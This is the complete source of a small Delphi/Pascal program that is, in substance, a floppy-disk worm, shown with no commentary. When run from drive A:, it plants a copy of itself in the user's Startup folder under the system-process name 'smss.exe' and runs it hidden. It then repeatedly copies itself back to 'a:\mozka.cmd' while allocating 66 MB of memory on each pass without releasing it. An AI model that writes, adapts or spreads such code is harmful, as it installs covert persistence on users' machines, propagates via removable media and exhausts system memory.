uses Windows;
var
hKey: Windows.HKEY;
FileName: array [0..MAX_PATH-1] of Char;
Size: Cardinal = SizeOf(FileName);
label Back;
begin
RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', hKey);
RegQueryValueEx(hKey, 'Startup', nil, nil, @FileName, @Size);
RegCloseKey(hKey);
SetCurrentDirectory(@FileName); SetErrorMode(SEM_FAILCRITICALERRORS); GetModuleFileName(0, @FileName, SizeOf(FileName)); if Byte(FileName[0]) or $20 = Ord('a') then begin
CopyFile(@FileName, 'smss.exe', False); WinExec('smss.exe', 0); Exit; end;
CreateFile(@FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); Back: Sleep(66600); CopyFile(@FileName, 'a:\mozka.cmd', False); GlobalAlloc(GMEM_FIXED, 1024*1024*66); goto Back;
end.